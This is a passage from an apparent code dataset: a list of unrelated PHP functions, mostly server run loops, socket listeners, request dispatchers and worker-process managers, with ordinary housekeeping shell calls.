))->handlerAttribute('handler');\n\n $dispatcher = new Dispatcher($queue);\n $dispatcher->dispatch($request);\n }", "public static function tcp_server(): void\n {\n sock::$type = 'tcp:server';\n sock::$host = '0.0.0.0';\n sock::$port = self::port;\n $ok = sock::create();\n\n if (!$ok) exit('TCP Server creation failed!');\n\n //Set Client list alone\n $client = [];\n\n do {\n //Copy client list to read list\n $read = $client;\n\n //Listen to TCP port\n sock::listen($read);\n\n //Accept new connection\n sock::accept($read, $client);\n\n //Read TCP Data\n $msg = sock::read($read, $client);\n\n var_dump($msg);\n\n $data = [];\n\n //example: from message and send back to client\n foreach ($client as $k => $v) {\n foreach ($msg as $key => $value) {\n $data[$k]['sock'] = $v;\n $data[$k]['msg'] = $key !== $k ? $value['msg'] : 'OK! ' . count($client) . ' players are online waiting!';\n }\n }\n\n //Send data back and maintain clients\n $result = sock::write($data, $client);\n\n var_dump($result);\n\n } while (true);\n }", "public function run()\n {\n while (($payload = array_shift($this->payloads)) !== null) {\n list($ttr, $message) = $payload;\n $this->startedId = $this->finishedId + 1;\n $this->handleMessage($this->startedId, $message, $ttr, 1);\n $this->finishedId = $this->startedId;\n $this->startedId = 0;\n }\n }", "public function handle()\n {\n\n\n while (true) {\n $this->doRun();\n }\n\n }", "public function run()\n {\n stream_set_blocking(STDIN, false);\n\n self::$nextRenderTime = ((microtime(true) * 10000) + self::UPDATE_FREQUENCY);\n\n //controls update speed\n $nextRender = function () {\n while (self::$nextRenderTime - (microtime(true) * 10000) > 0) {\n usleep(10000);\n }\n self::$nextRenderTime += self::UPDATE_FREQUENCY;\n $this->currentBoard->show();\n\n return;\n };\n\n $nextRender();\n\n //just keep running while listening for input\n while (true) {\n if (fgets(STDIN)) {\n $this->setInitialStateRandom();\n } else {\n $this->currentBoard = $this->currentBoard->buildNextGeneration();\n }\n $nextRender();\n }\n }", "public function run(HttpServer $server = null): void\n {\n $this->startup();\n if ($server) {\n $server->addListener($this);\n $server->start();\n } else {\n $response = $this->handle(ServerRequest::fromGlobals());\n $this->emitter->emit($response);\n if ($response instanceof Response) {\n $response->end();\n }\n }\n\n $this->shutdown();\n }", "protected function socketPerform() {}", "public function run()\n /**/\n {\n // initialize ncurses and register shutdown function\n ncurses_init();\n ncurses_curs_set(0);\n ncurses_noecho();\n\n // render app UI\n $this->build();\n $this->refresh();\n\n // enter main loop\n $this->main();\n }", "public static function start($config)\n\t{\n\t\t// Add the config\n\t\tif (!is_array($config)) {\n\t\t\ttrigger_error(\"Cannot start server, invalid configuration settings\", E_USER_ERROR);\n\t\t}\n\t\tMHTTPD::addConfig($config);\n\n\t\t// Load the mime types info\n\t\t$mimes = @parse_ini_file(MHTTPD::getExepath().'lib\\minihttpd\\config\\mimes.ini', true);\n\t\tMHTTPD::$config['Mimes'] = array_map('listToArray', $mimes['Mimes']);\n\t\t\n\t\t// Set the initial server info values\n\t\tMHTTPD::$info['software'] = 'MiniHTTPD/'.MHTTPD::VERSION.' ('.php_uname('s').')';\n\t\t$addr = $config['Server']['address'];\n\t\t$port = $config['Server']['port'];\n\t\tMHTTPD::$info['signature'] = 'MiniHTTPD/'.MHTTPD::VERSION.' ('.php_uname('s').\") Server at {$addr} Port {$port}\";\n\t\tMHTTPD::$info['launched'] = time();\n\t\t\n\t\t// Spawn any FCGI processes\n\t\tMFCGI::$debug = MHTTPD::$debug;\n\t\tMFCGI::spawn(null, MHTTPD::$config);\n\t\n\t\t// Load the configured request handlers\n\t\tif (MHTTPD::$debug) {cecho(chrule().\"\\n\");}\n\t\tforeach (MHTTPD::$config['Handlers'] as $type=>$handler) {\n\t\t\tif (class_exists($handler)) {\n\t\t\t\tif (MHTTPD::$debug) {cecho(\"Handler loaded ... $type\\n\");}\n\t\t\t\tMHTTPD::$handlers[$type] = new $handler;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Create the queue object for the handlers\n\t\tMHTTPD::$handlersQueue = new MHTTPD_Handlers_Queue(MHTTPD::$handlers);\n\t\t\n\t\t// Start running the main loop\n\t\tMHTTPD::$running = true;\n\t\tMHTTPD::main();\n\t}", "public function loop()\n {\n $i = 0;\n $j = 0;\n while (true) {\n printf(\"\\033[37;40m\" . date_format(new \\DateTime(), 'Y.m.d H:i:s') . \" Current {$this->user} state:\\033[39;49m\\n%s\\n\", $this);\n foreach ($this->state as $p => $data) {\n if ($p == $this->port) {\n continue;\n }\n if (empty($p)) {\n printf(\"\\e[0;31m\" . date_format(new \\DateTime(), 'Y.m.d H:i:s') . \" Current {$this->user} has data with empty port.\\e[0m\\n\");\n }\n $j++;\n $data = json_encode($this->state);\n $peerState = @file_get_contents('http://localhost:' . $p . '/gossip', false, stream_context_create([\n 'http' => [\n 'method' => 'POST',\n 'ignore_errors' => 1,\n 'header' => \"Content-type: application/json\\r\\nContent-length: \" . strlen($data) . \"\\r\\n\",\n 'content' => $data\n ]\n ]));\n\n if (!$peerState) {\n unset($this->state[$p]);\n $this->save();\n } else {\n $this->update(json_decode($peerState, true));\n }\n }\n\n $this->reload();\n usleep(rand(300000, 3000000));\n if (++$i % 2) {\n $coins = $this->updateMine();\n printf(\"\\033[37;40m\" . date_format(new \\DateTime(), 'Y.m.d H:i:s') . \" {$this->user} own coins updated to {$coins}.\\033[39;49m\\n\");\n }\n }\n }", "public function run()\n\t{\n\t\t$response = $this->dispatch($this['request']);\n\n\t\t$response->send();\n\n\t\t$this->callFinishMiddleware($response);\n\t}", "public function run(): void\n {\n $self = &$this; // goofiness to get the output values out\n $lambdaLoop = function () use (&$self) {\n $logHandler = new StreamHandler(new ResourceOutputStream(\\STDOUT));\n $logHandler->setFormatter(new ConsoleFormatter);\n $logger = new Logger('server');\n $logger->pushHandler($logHandler);\n\n $command = $self->getCommand() . ' ' . \\implode(' ', $self->getArguments());\n $logger->debug(\"Process command: {$command}\");\n\n $process = new Process($command);\n $process->start();\n\n $payload = new Payload($process->getStdout());\n $output = yield $payload->buffer();\n $self->setOutput($output);\n\n $logger->debug(\"Process Output: {$self->getOutput()}\");\n\n $exitCode = yield $process->join();\n $self->setExitCode($exitCode);\n $logger->debug(\"Exit code: {$self->getExitCode()}\");\n\n Loop::stop();\n if ($self->getExitCode() !== 0) {\n throw new \\Exception(\"PactPHP Process returned non-zero exit code: {$self->getExitCode()}\");\n }\n };\n\n Loop::run($lambdaLoop);\n }", "public static function startStream(){\n try{\n //try to change the server functions first\n // Turn off output buffering\n ini_set('output_buffering', 'off');\n // Turn off PHP output compression\n ini_set('zlib.output_compression', false);\n // Implicitly flush the buffer(s)\n ini_set('implicit_flush', true); \n }catch(Exception $e){\n \n } \n //Flush (send) the output buffer and turn off output buffering\n while (@ob_end_flush()); \n ob_implicit_flush(true);\n \n //now add browser tweaks\n echo str_pad(\"\",1024,\" \");\n echo \"<br />\";\n ob_flush();\n flush();\n sleep(1);\n }", "public function run()\n {\n $this->requestId = uniqid();\n $this->startTime = microtime();\n\n try {\n // Generate a Request object from the data available in the\n // current running environment.\n try {\n $requestFactory = new Requests\\Factories\\Http;\n $request = $requestFactory->get($this);\n // Set the application locale from the request.\n // TODO: Move into the Request constructor?\n $this->setLocale($request->getLocale());\n // Run the process of responding to the request.\n $this->issueResponse($request);\n } catch (\\Throwable $throwable) {\n // There was an error somewhere during the request\n // creation, or somewhere during the response building\n // process.\n $errorRequest = new Requests\\Http\\Error;\n $errorRequest->setThrowable($throwable);\n $this->issueResponse($errorRequest, $throwable);\n }\n } catch (\\Exception $exception) {\n // There was an error while trying to fail gracefully.\n // Little else can be done now.\n $this->fail($exception);\n }\n\n Logger::get()->info($this->getStats());\n\n // Since the application is being run in an HTTP context, and\n // PHP is the scripting language it is, the application cycle\n // just finishes after the response is done with its tasks.\n }", "private function serveStart()\n {\n if (static::$run) {\n return;\n }\n\n static::$run = true;\n\n print \"Running dev/build...\\n\";\n @exec(\"framework/sake dev/build flush=1 > /dev/null 2> /dev/null\");\n\n print \"Finding open port...\\n\";\n\n while (!$this->addressAvailable($this->getHost(), $this->getPort())) {\n $this->setPort($this->getPort() + 1);\n }\n\n if (!$this->running) {\n $host = $this->getHost();\n $port = $this->getPort();\n\n $hash = spl_object_hash($this);\n\n print \"Starting development server...\\n\";\n $command = \"framework/sake dev/tasks/SilverStripe-Serve-Task hash={$hash} host={$host} port={$port} > /dev/null 2> /dev/null &\";\n\n exec($command, $output);\n\n $command = \"ps -o pid,command | grep {$hash}\";\n @exec($command, $output);\n\n if (count($output) > 0) {\n foreach ($output as $line) {\n $parts = explode(\" \", $line);\n $this->pid[] = $parts[0];\n }\n }\n\n sleep(1);\n }\n }", "public function loop($flags = 0);", "protected function execute($arguments = array(), $options = array())\n {\n $databaseManager = new sfDatabaseManager($this->configuration);\n $connection = $databaseManager->getDatabase($options['connection'])->getConnection();\n\n // add your code here\n \n $address = '192.168.1.2';\n $port = 8001;\n \n if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {\n \t$this->ERROR($sock, 'socket_create');\n }\n \n if (socket_bind($sock, $address, $port) === false) {\n \t$this->ERROR($sock, 'socket_bind');\n }\n \n if (socket_listen($sock, 5) === false) {\n \t$this->ERROR($sock, 'socket_listen');\n }\n \n $u = array();\n \n do {\n \t$this->log('main loop');\n \t$r = array();\n \t$w = NULL;\n \t$e = array();\n \t\n \t\t$r[] = $sock;\n \t\t$e[] = $sock;\n \t\t\n \tforeach ($u as $usock)\n \t{\n \t\t$r[] = $usock;\n \t\t$e[] = $usock;\n \t}\n \t\n \tswitch(socket_select($r, $w, $e, null))\n \t{\n \t\tcase FALSE:\n \t\t\t$this->ERROR(null, 'socket_select');\n \t\t\tbreak 2;\n \t\tcase 0:\n \t\t\t$this->log('timeout');\n \t\t\tbreak;\n \t\tdefault:\n// \t\t\tvar_dump($r, $e);\n \t\t\tif(count($r))\n \t\t\t{\n\t \t\t\tif(isset($r[0]))\n\t \t\t\t{\n\t \t\t\t\t$usock = socket_accept($r[0]);\n\t \t\t\t\t$u[] = $usock;\n\t \t\t\t}\n\t \t\t\telse \n\t \t\t\t{\n\t \t\t\t\tforeach($r as $n => $usock)\n\t \t\t\t\t{\n\t \t\t\t\t\t$buf = '';\n\t \t\t\t\t\t$l = socket_recv($usock, $buf, 1000, 0);\n\t \t\t\t\t\t\n\t \t\t\t\t\tif($l == 0)\n\t \t\t\t\t\t{\n\t \t\t\t\t\t\tsocket_close($usock);\n\t \t\t\t\t\t\tunset($u[$n-1]);\n\t \t\t\t\t\t}\n\t \t\t\t\t\telse \n\t \t\t\t\t\t{\n\t \t\t\t\t\t\t$this->logSection('>>>>', sprintf('\\'%s\\'', $buf));\t \t\t\t\t\t\t\t\n\t \t\t\t\t\t}\n\t \t\t\t\t}\n\t \t\t\t}\n \t\t\t}\n \t\t\tbreak; \t\t\t\n \t}\n } while (true);\n \n socket_close($sock);\n \n }", "public function startServer()\n {\n // fork\n $pid = pcntl_fork();\n\n // if we're in the child process, start the server and listen for data\n if ($pid > 0)\n {\n return $pid;\n }\n elseif ($pid === 0)\n {\n return $this->listen();\n }\n }", "public function handle()\n {\n $server = new Server('0.0.0.0', 8192, SWOOLE_BASE, SWOOLE_SOCK_TCP);\n $server->set(['task_worker_num' => 1]);\n $this->tcpServer($server);\n $this->manageServer($server);\n $this->server = $server;\n $server->start();\n echo \"exit\" . PHP_EOL;\n }", "function run()\n {\n $this->_loadState();\n $start_time = microtime_float();\n while ((microtime_float() - $start_time) < DC_WORKER_TIME_OUT)\n {\n if($this->_process_info['status']=='INITED' or $this->_process_info['status']=='PROCESSING')\n {\n $this->_doWork();\n };\n\n if($this->_process_info['status']=='PRE_COMPLETED')\n {\n $this->_finishWork();\n break;\n };\n\n if($this->_process_info['status']=='ERRORS_HAPPENED')\n {\n $this->_breakWork();\n break;\n };\n }\n\n $this->_saveState();\n return;\n }", "public function run()\n {\n // dispatch all routes [between events]\n $this->trigger('horus.dispatch.before');\n\n // execute/disptach all routes relates to current request\n if ( isset($this->router) && $this->router instanceof Horus_Router )\n {\n if($this->router->state == false)\n $this->e404();\n else\n $this->output .= $this->router->output;\n }\n\n // trigger after router exec events\n $this->trigger('horus.dispatch.after');\n\n // get the output\n // prepare then only send if the request is not head\n $this->output .= ob_get_clean();\n\n // trigger before output events\n $this->trigger('horus.output.before', array($this));\n\n // trigger output filters\n $this->output = $this->trigger('horus.output.filter', $this->output, $this->output);\n\n // only send output if not HEAD request\n (strtoupper($_SERVER['REQUEST_METHOD']) == 'HEAD') || (print $this->output);\n\n // trigger after output events\n $this->trigger('horus.output.after', array($this));\n\n // end\n @ob_end_flush(); exit;\n }", "protected function _start_listening(){\r\n\t\t\tset_error_handler(array($this->_reporter, 'handle_error'));\r\n\t\t\tset_exception_handler(array($this->_reporter, 'handle_exception'));\r\n\t\t\terror_reporting(-1);\r\n\t\t\tini_set('display_errors', false);\r\n\t\t}", "public function run()\n {\n for ($i = 0; $i < $this->_repeat; $i++) {\n parent::run();\n if ($this->_usleep > 0) {\n usleep($this->_usleep);\n }\n }\n }", "function process(Worker $worker)\n {\n $this->server();\n }", "public function loop($ttr = null)\n {\n if (null !== $ttr) {\n $this->handle(function($engine){\n $engine->shutdown();\n }, new \\prggmr\\signal\\time\\Timeout($ttr, $this));\n }\n $this->signal(esig::LOOP_START);\n while($this->_routines()) {\n // check state\n if ($this->get_state() === STATE_HALTED) break;\n if (count($this->_routines[0]) !== 0) {\n foreach ($this->_routines[0] as $_routine) {\n $this->signal($_routine[0], $_routine[1], $_routine[2]);\n }\n }\n // check for idle time\n if ($this->_routines[0] !== null) {\n // idle for the given time in milliseconds\n usleep($this->_routines[0] * 1000);\n }\n }\n $this->signal(esig::LOOP_SHUTDOWN);\n }", "public function run()\n {\n $post = file_get_contents($this->getInputFile());\n if (substr($post, 0, 5) == '<?xml') {\n //pingback\n $xs = xmlrpc_server_create();\n xmlrpc_server_register_method(\n $xs, 'pingback.ping', array($this, 'handlePingbackPing')\n );\n $out = xmlrpc_server_call_method($xs, $post, null);\n\n $resp = $this->getPingbackResponder();\n $resp->sendHeader('HTTP/1.0 200 OK');\n $resp->sendXml($out);\n\n } else if (isset($_POST['source']) && isset($_POST['target'])) {\n //webmention\n $res = $this->handleRequest($_POST['source'], $_POST['target']);\n $resp = $this->getWebmentionResponder();\n $resp->send($res);\n\n } else {\n //unknown\n $resp = $this->getPingbackResponder();\n $resp->sendHeader('HTTP/1.0 400 Bad Request');\n $resp->sendHeader('Content-Type: text/html');\n $resp->sendOutput($this->unknownRequest);\n }\n }", "public static function run()\n {\n// $server = IoServer::factory(new WsServer(new WebSocket()), 8080);\n// echo \"websocket do run...\";\n// $server->run();\n// echo \"websocket sever up...\";\n React::runWampServer();\n }", "public function run()\n {\n while (true) {\n try {\n $this->processCommand();\n } catch (\\Exception $ex) {\n $this->logger->error(\n 'Exception on node {node} while processing command: {message}',\n [\n 'node' => $this->template->getNodeName(),\n 'message' => $ex->getMessage()\n ]\n );\n }\n }\n }", "protected function perform()\n {\n // The first curl_multi_select often times out no matter what, but is usually required for fast transfers\n $selectTimeout = 0.001;\n // Limit to 100 exec calls here.\n $max = 100;\n do {\n do {\n $mrc = curl_multi_exec($this->multiHandle, $active);\n } while ($mrc == CURLM_CALL_MULTI_PERFORM);\n\n $this->checkCurlResult($mrc);\n\n $this->processMessages();\n\n if ($active && curl_multi_select($this->multiHandle, $selectTimeout) === -1) {\n // Perform a usleep if a select returns -1: https://bugs.php.net/bug.php?id=61141\n usleep(150);\n }\n\n // Set select timeout to 100 milliseconds to save CPU cycles.\n $selectTimeout = 0.1;\n } while (\n // Limit number of iterations\n --$max > 0 &&\n // It there is a limit and it is reached, process till we get under the limit again.\n (($this->number_parallel != 0) && ($this->handles->count() >= $this->number_parallel))\n );\n }", "public function streamCallback() {\n $this->_closeSession();\n $this->start = time();\n\n while(!$this->_exitStream()) {\n $this->_writeComment();\n $this->_writeMessage();\n $this->_flushContent();\n \n sleep($this->sleepTime);\n };\n }", "public function receive(): void\n {\n $connection = $this->getConnection();\n $node = $connection->getCurrentNode();\n\n do {\n $this->_run($node);\n } while (\n false === $connection->isDisconnected() &&\n true !== $node->isMessageComplete()\n );\n }", "function handle_client($ssock, $csock)\n{\n GLOBAL $__server_listening;\n\n $pid = pcntl_fork();\n\n if ($pid == -1)\n {\n /* fork failed */\n echo \"fork failure!\\n\";\n die;\n }elseif ($pid == 0)\n {\n /* child process */\n $__server_listening = false;\n socket_close($ssock);\n interact($csock);\n socket_close($csock);\n }else\n {\n socket_close($csock);\n }\n}", "public function acceptTcp($main_socket) {\n $socket = @stream_socket_accept($main_socket, 0, $remote_address);\n \n //thundering herd EAGAIN (Resource temporarily unavailable)\n if (!$socket) {\n return;\n }\n \n $connection = new Connection($socket, $this);\n \n if($this->handler ){\n $this->handler->attach($connection);\n }\n \n $this->handler->owner = $this;\n \n $this->trigger(Server::ON_ACCEPT, new IOEvent(['context'=>$connection]));\n \n $connection->ready();\n }", "public function run() {\n\n if(!$this->server) {\n\n try {\n\n // initialize socket server\n $this->server = new AppServer($this->config->socket->host, $this->config->socket->port);\n\n // create application with dependencies\n $app = new Sonar(\n new StorageService($this->config->storage),\n new QueueService($this->config->beanstalk),\n new GeoService(),\n new CacheService()\n );\n $this->server->route('/sonar', $app, ['*']);\n }\n catch(QueueServiceException $e) {\n throw new AppServiceException($e->getMessage());\n }\n catch(ConnectionException $e) {\n throw new SocketServiceException($e->getMessage());\n }\n catch(StorageServiceException $e) {\n throw new AppServiceException($e->getMessage());\n }\n catch(CacheServiceException $e) {\n throw new AppServiceException($e->getMessage());\n }\n\n }\n\n if(isset($this->config->storage) === false) {\n throw new AppServiceException('There is no option `storage` in your configurations');\n }\n\n $this->server->run();\n }", "protected static function shutdown()\n\t{\n\t\tif (MHTTPD::$debug) {cecho(\"Shutting down the server ...\\n\");}\n\t\tMHTTPD::$running = false;\n\t\t\n\t\t// Close listener\n\t\tMHTTPD::closeSocket(MHTTPD::$listener);\n\t\t\n\t\t// Kill all running FCGI processes\n\t\texec('taskkill /F /IM php-cgi.exe');\n\t\t\t\t\n\t\t// Remove any active clients\n\t\tforeach ($this->clients as $client) {\n\t\t\tMHTTPD::removeClient($client);\n\t\t}\n\t\t\n\t\t// Flush any buffered logs\n\t\tMHTTPD_Logger::flushLogs();\t\t\n\t}", "public function run()\n {\n // dispatch all routes [between events]\n $this->trigger('horus.dispatch.before');\n if(($o = $this->router->exec()) !== false) echo $o;\n else $this->e404();\n $this->trigger('horus.dispatch.after');\n\n // get the output\n // prepare then only send if the request is not head\n $this->output .= ob_get_clean();\n $this->trigger('horus.output.before', array($this));\n $this->output = $this->trigger('horus.output.filter', $this->output, $this->output);\n (strtoupper($_SERVER['REQUEST_METHOD']) == 'HEAD') or print $this->output;\n $this->trigger('horus.output.after', array($this));\n\n // end\n ob_get_level() < 1 or ob_end_flush(); exit;\n }", "public function setup() {\n $this->socket = socket_create(AF_INET, SOCK_STREAM, 0);\n if (!socket_bind($this->socket, $this->ip, $this->port)) {\n $errno = socket_last_error();\n $this->error(sprintf('Could not bind to address %s:%s [%s] %s', $this->ip, $this->port, $errno, socket_strerror($errno)));\n throw new Exception('Could not start server.');\n }\n\n socket_listen($this->socket);\n $this->daemon->on(Daemon::ON_POSTEXECUTE, array($this, 'run'));\n }", "protected function _startScraping()\n\t{\n\n\t\t// Connect to IRC.\n\t\tif ($this->connect(SCRAPE_IRC_SERVER, SCRAPE_IRC_PORT, SCRAPE_IRC_TLS) === false) {\n\t\t\texit (\n\t\t\t\t'Error connecting to (' .\n\t\t\t\tSCRAPE_IRC_SERVER .\n\t\t\t\t':' .\n\t\t\t\tSCRAPE_IRC_PORT .\n\t\t\t\t'). Please verify your server information and try again.' .\n\t\t\t\tPHP_EOL\n\t\t\t);\n\t\t}\n\n\t\t// Login to IRC.\n\t\tif ($this->login(SCRAPE_IRC_NICKNAME, SCRAPE_IRC_REALNAME, SCRAPE_IRC_USERNAME, SCRAPE_IRC_PASSWORD) === false) {\n\t\t\texit('Error logging in to: (' .\n\t\t\t\tSCRAPE_IRC_SERVER . ':' . SCRAPE_IRC_PORT . ') nickname: (' . SCRAPE_IRC_NICKNAME .\n\t\t\t\t'). Verify your connection information, you might also be banned from this server or there might have been a connection issue.' .\n\t\t\t\tPHP_EOL\n\t\t\t);\n\t\t}\n\n\t\t// Join channels.\n\t\t$this->joinChannels(array('#nZEDbPRE' => null));\n\n\t\tif (!$this->_silent) {\n\t\t\techo\n\t\t\t\t'[' .\n\t\t\t\tdate('r') .\n\t\t\t\t'] [Scraping of IRC channels for (' .\n\t\t\t\tSCRAPE_IRC_SERVER .\n\t\t\t\t':' .\n\t\t\t\tSCRAPE_IRC_PORT .\n\t\t\t\t') (' .\n\t\t\t\tSCRAPE_IRC_NICKNAME .\n\t\t\t\t') started.]' .\n\t\t\t\tPHP_EOL;\n\t\t}\n\n\t\t// Scan incoming IRC messages.\n\t\t$this->readIncoming();\n\t}", "public function start()\n {\n $this->server->on(\"open\", [$this, 'wsOpen']);\n $this->server->on(\"message\", [$this, 'wsMessage']);\n $this->server->on(\"close\", [$this, 'wsClose']);\n\n $this->server->start();\n }", "private function hangup()\n\t{\n\t\twhile ( true ) {\n\t\t\t// dispatch signal for the handlers\n\t\t\tpcntl_signal_dispatch();\n\n\t\t\t// daemon process\n\t\t\t$this->daemon->check( $this );\n\n\t\t\t// prevent the child process become a zombie process\n\t\t\t// pcntl_wait($status);\n\t\t\tforeach ( $this->workers as $k => $v ) {\n\t\t\t\t$res = pcntl_waitpid( $v->pid, $status, WNOHANG );\n\t\t\t\t// if ($res == -1 || $res = 0) {\n\t\t\t\t// \t// exception\n\t\t\t\t// \tcontinue;\n\t\t\t\t// }\n\t\t\t\tif ( $res > 0 ) {\n\t\t\t\t\tunset( $this->workers[ $res ] );\n\n\t\t\t\t\tif ( $this->waitSignalProcessPool[ 'signal' ] === 'reload' ) {\n\t\t\t\t\t\tif ( array_key_exists( $res, $this->waitSignalProcessPool[ 'pool' ] ) ) {\n\t\t\t\t\t\t\tunset( $this->waitSignalProcessPool[ 'pool' ][ $res ] );\n\t\t\t\t\t\t\t// fork a new worker\n\t\t\t\t\t\t\t$this->fork();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( $this->waitSignalProcessPool[ 'signal' ] === 'stop' ) {\n\t\t\t\t\t\tif ( array_key_exists( $res, $this->waitSignalProcessPool[ 'pool' ] ) ) {\n\t\t\t\t\t\t\tunset( $this->waitSignalProcessPool[ 'pool' ][ $res ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( $this->waitSignalProcessPool[ 'signal' ] === 'stop' ) {\n\t\t\t\t// all worker stop then stop the master process\n\t\t\t\tif ( empty( $this->waitSignalProcessPool[ 'pool' ] ) ) {\n\t\t\t\t\t$this->master->stop();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// read signal from worker\n\t\t\t// $this->master->pipeRead();\n\n\t\t\t// precent cpu usage rate reach 100%\n\t\t\tusleep( self::$hangupLoopMicrotime );\n\t\t}\n\t}", "public function run()\n {\n $id = $this->id;\n echo \"run id $id\\n\";\n $counter = $this->counters[$id];\n\n while (($job = $counter->increment()) < MAX) {\n //printf(\"Thread %d %lu doing job %d\\n\", Thread::getCurrentThreadId(), $id, $job);\n // burn some cpu!!\n Fibonacci::fib(FIB);\n }\n printf(\"Thread %lu id %d doing last job %d\\n\", Thread::getCurrentThreadId(), $id, $job);\n }", "public static function runAll()\n {\n static::checkSapiEnv();\n static::init();\n static::daemonize();\n static::initWorkers();\n static::installSignal();\n static::saveMasterPid();\n static::displayUI();\n static::forkWorkers();\n static::resetStd();\n static::monitorWorkers();\n }", "public function start()\n {\n $this->registerDefaultServices();\n\n $this->handle($this->request->createFromGlobals());\n }", "public function listen(): void\n {\n $receive = function () {\n each($this->receiveMessages(), $this->parseAndConsumeMessage());\n };\n\n $this->settings->beforeReceive($receive);\n }", "public function run()\n {\n $this->getArguments();\n\n $teamspeak = new Teamspeak3Telnet($this->timeout, $this->debug);\n $response = $teamspeak->connect($this->host, $this->telnetport);\n if ($response != 'OK') {\n $this->echoExit(self::STATE_CRITICAL, $response);\n }\n\n if ($this->virtualport == 0) {\n $serviceStatus = $this->fetchAndProcessGlobalPerf($teamspeak);\n } else {\n $serviceStatus = $this->fetchAndProcessVirtualServerPerf($teamspeak);\n }\n\n $teamspeak->disconnect();\n\n $this->echoExit(self::STATE_OK, $serviceStatus);\n }", "public function run()\n {\n $this['events']->applyHook('before');\n\n if ($this['env'] !== 'console') {\n ob_start('mb_output_handler');\n }\n\n $this->boot();\n\n // Invoke middleware and application stack\n try {\n $this['middleware'][0]->call();\n } catch (\\Exception $e) {\n $this['response']->write($this['exception']->handleException($e), true);\n }\n\n // Finalize and send response\n $this->finalize();\n\n $this['events']->applyHook('after');\n }", "public function listen()\n\t{\n\t\t$uri = $_REQUEST['uri'] ?? '';\n\t\t$uri = trim($uri, '/\\^$');\n\t\t$replacementValues = array();\n\n\t\t// List through the stored URI's\n\t\tforeach ($this->urls as $step => $url)\n\t\t{\n\t\t\t// See if there is a match\n\t\t\tif (preg_match(\"#^$url$#\", $uri))\n\t\t\t{\n\t\t\t\t// Replace the values\n\t\t\t\t$realUri = explode('/', $uri);\n\t\t\t\t$fakeUri = explode('/', $url);\n\n\t\t\t\t// Gather the .+ values with the real values in the URI\n\t\t\t\tforeach ($fakeUri as $key => $value) {\n\t\t\t\t\tif ($value == '.+')\t$replacementValues[] = $realUri[$key];\n\t\t\t\t}\n\n\t\t\t\t// Pass an array for arguments\n\t\t\t\tcall_user_func_array($this->functions[$step], $replacementValues);\n\t\t\t\texit;\n\t\t\t}\n\n\t\t} // End of Loop\n\n\t}", "public function handler(Server $server, int $fd, int $reactorId)\r\n {\r\n }", "public function pps_monitor() \r\n { if(!$this->m_connected) return;\r\n \r\n set_time_limit(0);\r\n \r\n \r\n $this->m_buffer = '';\r\n $sockets = $this->get_sockets();;\r\n \r\n /*foreach( $this->servers as $key => $server ){\r\n if( $server->type === SERVER_TYPE_IRC ) {\r\n if( true ) {\r\n echo \"IRC TEST\\n\";\r\n $server->hooked = true;\r\n $server->parse_line(\"]{[email protected] PRIVMSG #soldat.na :!ls\");\r\n return; \r\n }\r\n echo \"Hook irc\\n\";\r\n if( true )\r\n $sockets[] = $server->sock;\r\n continue;\r\n }\r\n if( !$server->connected ) continue;\r\n echo \"Found available server, hoocking stats\\n\";\r\n $server->stats = new base_stats( $this->db, $this->servers[$key], $this->servers[$key]->get_refreshx());\r\n $this->m_TPC += $server->stats->pc;\r\n $sockets[] = $server->sock;\r\n }*/\r\n\r\n echo \"--> Now monitoring...\\n\";\r\n $this->f_monitor($sockets);\r\n \r\n \r\n echo \"--> Ubnormal Termination => 'connection lost'\\n\\r\";\r\n foreach( $this->servers as $server ){\r\n socket_close($server->sock);\r\n }\r\n $this->m_is_connected = false;\r\n }", "public function run()\n {\n\n // Base path of the API requests\n $basePath = trim($this->settings['application.path']);\n if( $basePath != '/' ){\n $basePath = '/'.trim($basePath, '/').'/';\n }\n\n // Setup dynamic routing\n $this->map($basePath.':args+', array($this, 'dispatch'))->via('GET', 'POST', 'HEAD', 'PUT', 'DELETE', 'OPTIONS');\n\n //Invoke middleware and application stack\n $this->middleware[0]->call();\n\n //Fetch status, header, and body\n list($status, $header, $body) = $this->response->finalize();\n\n //Send headers\n if (headers_sent() === false) {\n\n //Send status\n header(sprintf('HTTP/%s %s', $this->config('http.version'), \\Slim\\Http\\Response::getMessageForCode($status)));\n\n //Send headers\n foreach ($header as $name => $value) {\n $hValues = explode(\"\\n\", $value);\n foreach ($hValues as $hVal) {\n header(\"$name: $hVal\", true);\n }\n }\n }\n\n // Send body\n echo $body;\n }", "protected function runloop(InputInterface $input, OutputInterface $output)\n {\n $pidFile = $input->getOption('pidfile');\n\n //Create PID file if provided\n if (null !== $pidFile) {\n file_put_contents($pidFile, getmypid());\n }\n\n $interval = $input->getOption('interval');\n\n if (null !== $interval) {\n $this->setTimeout($this->parseInterval($interval));\n }\n\n try {\n do {\n // Do a run\n $this->execute($input, $output);\n\n // Finish this iteration\n $this->finishIteration($input, $output);\n\n // Request shutdown if we only should run once\n if ((bool)$input->getOption('run-once')) {\n $this->shutdown();\n }\n\n // Print memory report if requested\n if ((bool)$input->getOption('detect-leaks')) {\n // Gather memory info\n $peak = $this->getMemoryInfo(true);\n $curr = $this->getMemoryInfo(false);\n\n // Print report\n $output->writeln('== MEMORY USAGE ==');\n $output->writeln(\n sprintf(\n 'Peak: %.02f KByte <%s>%s (%.03f %%)</%s>',\n $peak['amount'] / 1024,\n $peak['statusType'],\n $peak['statusDescription'],\n $peak['diffPercentage'],\n $peak['statusType']\n )\n );\n $output->writeln(\n sprintf(\n 'Cur.: %.02f KByte <%s>%s (%.03f %%)</%s>',\n $curr['amount'] / 1024,\n $curr['statusType'],\n $curr['statusDescription'],\n $curr['diffPercentage'],\n $curr['statusType']\n )\n );\n $output->writeln('');\n\n // Unset variables to prevent instable memory usage\n unset($peak);\n unset($curr);\n }\n\n // Sleep some time, note that sleep will be interupted by a signal\n if ( ! $this->shutdownRequested) {\n usleep($this->timeout);\n }\n } while ( ! $this->shutdownRequested);\n } catch (ShutdownEndlessCommandException $ignore) {\n }\n\n // Prepare for shutdown\n $this->finalize($input, $output);\n\n //Remove pid file\n $pidFile = $input->getOption('pidfile');\n\n if (null !== $pidFile) {\n unlink($pidFile);\n }\n\n return $this->returnCode;\n }", "protected function _run() {\n // All OK.. Let's go\n declare(ticks = 1);\n\n if (count($this->_tasks->getManagers())==0) {\n Logger::log(\"No daemon tasks 